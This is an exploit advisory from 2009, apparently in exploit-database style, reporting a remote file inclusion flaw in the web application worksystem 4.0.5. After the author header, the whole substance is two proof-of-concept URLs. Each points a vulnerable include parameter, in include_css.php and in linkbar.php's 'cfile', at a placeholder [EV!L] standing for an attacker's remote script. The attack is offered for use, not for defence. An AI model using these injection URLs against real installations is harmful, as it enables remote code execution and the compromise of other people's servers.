======================================================================================== | # Title : worksystem 4.0.5 RFI Vulnerability | | # Author : indoushka | | # email : indoushka@hotmail.com | | # Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860) | | # EDB-ID : | | # CVE-ID : () | | # OSVDB-ID : () | | # DAte :16/12/2009 | | # Verified : | | # Web Site : www.iq-ty.com | | # Published: | | # Script : worksystem 4.0.5 | | # Tested on: windows SP2 Fran煙ais V.(Pnx2 2.0) + Lunix Fran煙ais v.(9.4 Ubuntu) | | # Bug : RFI | ====================== Exploit By indoushka ================================= | # Exploit : | | 1- http://localhost/worksystem_4_0_5/include/include_css.php?g?_include=[EV!L] | 2- http://localhost/worksystem_4_0_5/smallaxe-0.3.1/inc/linkbar.php?cfile=[EV!L] | ================================ Dz-Ghost Team ======================================== Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 | -------------------------------------------------------------------------------------------